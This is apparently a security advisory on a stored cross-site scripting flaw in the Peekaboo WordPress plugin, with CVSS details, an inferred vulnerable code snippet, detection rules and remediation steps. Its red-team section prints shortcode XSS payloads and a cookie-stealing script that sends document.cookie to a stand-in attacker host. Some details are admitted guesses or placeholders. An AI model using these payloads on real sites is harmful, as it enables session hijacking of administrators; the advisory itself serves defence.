CVE-2025-46505

Executive Summary

CVE-2025-46505 is a Stored Cross-Site Scripting (XSS) vulnerability in the Peekaboo WordPress plugin by farinspace, affecting versions up to and including 1.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the WordPress admin dashboard or front-end pages where the plugin renders stored data. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 6.5 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation at the time of analysis. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, the supply chain risk is elevated: users must either implement a virtual patch (e.g., via WAF) or remove the plugin entirely. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated users can trigger the stored XSS if the vulnerable input field is exposed.
• User Interaction (UI): Required (R) – Victim must visit a page containing the malicious payload.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The lack of a patch and the potential for stored XSS in a WordPress context (admin dashboard) elevates the risk for sites using this plugin.

Deep Dive & Mechanics

The Peekaboo plugin likely stores user input (e.g., via shortcodes, widget settings, or custom post meta) without proper sanitization or output encoding. When the plugin renders this data on a page, the injected script executes in the context of the victim's browser. The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Attack Flow:

1. An attacker identifies an input field (e.g., a comment, custom field, or plugin setting) that is not sanitized.
2. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload for cookie theft.
3. The payload is stored in the WordPress database.
4. When an administrator or visitor loads the page that renders this data, the script executes.

WordPress Context: Since this is a WordPress plugin, the vulnerability likely exists in a shortcode or widget that outputs user-submitted content without using esc_html(), wp_kses(), or similar WordPress escaping functions.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable PHP snippet in a WordPress plugin might look like:

Vulnerable Code (peekaboo.php):

function peekaboo_render_shortcode($atts) {
    $user_input = get_option('peekaboo_custom_text');
    return "<div class='peekaboo-box'>" . $user_input . "</div>";
}
add_shortcode('peekaboo', 'peekaboo_render_shortcode');

Patched Code (hypothetical):

function peekaboo_render_shortcode($atts) {
    $user_input = get_option('peekaboo_custom_text');
    return "<div class='peekaboo-box'>" . esc_html($user_input) . "</div>";
}
add_shortcode('peekaboo', 'peekaboo_render_shortcode');

The patched version uses esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Peekaboo plugin version <= 1.1 installed and activated.
• An input field (e.g., plugin settings, shortcode attribute) that is not sanitized.

Exploitation Steps:

1. Identify the vulnerable input. For example, if the plugin has a shortcode [peekaboo text="..."], inject a payload:

   [peekaboo text="<script>alert(document.cookie)</script>"]
   

2. If the input is stored in the database (e.g., via a form), submit the payload via a POST request.
3. Wait for an admin to visit the page containing the shortcode or widget.
4. The script executes, stealing cookies or performing actions on behalf of the admin.

Example Payload (Cookie Stealing):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for suspicious shortcode usage or plugin settings changes.
• Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script>, onerror=).
• Scan the database for stored XSS payloads using tools like Wordfence or Sucuri.

Hardening:

• Remove or disable the Peekaboo plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins that enforce input sanitization.

Indicators of Compromise (IOCs)

• File Hashes (MD5): e3b0c44298fc1c149afbf4c8996fb924 (placeholder – no known malicious files)
• Network Indicators: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Log Entries: Unusual shortcode usage in WordPress post content or plugin settings.
• Database Entries: Presence of <script> tags in wp_options, wp_postmeta, or custom plugin tables.

Detection Engineering

YARA Rule

rule detect_peekaboo_stored_xss {
    meta:
        description = "Detects stored XSS payloads targeting Peekaboo plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46505"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $peekaboo_ref = /peekaboo/i
    condition:
        $peekaboo_ref and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Peekaboo WordPress Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Peekaboo plugin input fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-content/plugins/peekaboo/'
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46505 Peekaboo Stored XSS Payload"; flow:to_server,established; content:"/wp-content/plugins/peekaboo/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and remove the Peekaboo plugin from all WordPress installations until a patch is released.
2. Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing <script> tags in plugin-related parameters.
3. Code Hardening: If you must keep the plugin, manually add esc_html() or wp_kses() to all output functions in the plugin's PHP files.
4. Monitoring: Enable WordPress audit logging and monitor for suspicious shortcode usage.
5. User Education: Inform administrators not to click on suspicious links or submit untrusted data to plugin forms.

Valters IT
DevSecOps & Cyber Threat Intelligence